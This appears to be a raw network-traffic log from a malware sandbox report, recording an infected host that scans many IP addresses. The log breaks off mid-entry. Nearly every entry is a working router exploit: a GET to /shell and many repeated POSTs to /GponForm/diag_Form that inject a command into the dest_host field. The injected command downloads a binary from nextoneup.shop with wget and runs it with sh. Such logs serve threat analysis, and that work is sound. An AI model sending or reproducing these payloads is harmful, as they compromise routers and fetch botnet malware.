Apr 14, 2024 04:01:50.733474970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.096745968 CEST	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Sun, 14 Apr 2024 02:01:48 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2232	192.168.2.13	48990	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.935776949 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2233	192.168.2.13	49008	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.295068979 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2234	192.168.2.13	32866	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.361380100 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:54Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2235	192.168.2.13	41516	79.174.109.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370604992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2236	192.168.2.13	52486	210.42.190.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370605946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2237	192.168.2.13	60564	5.113.250.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370634079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2238	192.168.2.13	51446	2.85.228.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370634079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2239	192.168.2.13	41574	210.142.213.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370649099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2240	192.168.2.13	55166	178.188.18.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370683908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2241	192.168.2.13	45312	5.219.231.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370690107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2242	192.168.2.13	47742	2.139.222.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370740891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2243	192.168.2.13	40868	212.102.225.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370750904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2244	192.168.2.13	57796	118.114.144.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370758057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2245	192.168.2.13	42094	202.91.248.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370759010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2246	192.168.2.13	48892	117.194.17.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370783091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2247	192.168.2.13	42948	148.165.177.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370784998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2248	192.168.2.13	44642	5.19.220.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370835066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2249	192.168.2.13	42352	109.162.103.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370836020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2250	192.168.2.13	34944	94.118.109.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370839119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2251	192.168.2.13	40856	42.33.186.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370853901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2252	192.168.2.13	40392	123.147.204.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370867014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2253	192.168.2.13	56686	202.67.131.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370893955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2254	192.168.2.13	47906	212.202.70.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370902061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2255	192.168.2.13	48534	118.177.186.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370933056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2256	192.168.2.13	50612	109.78.139.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370946884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 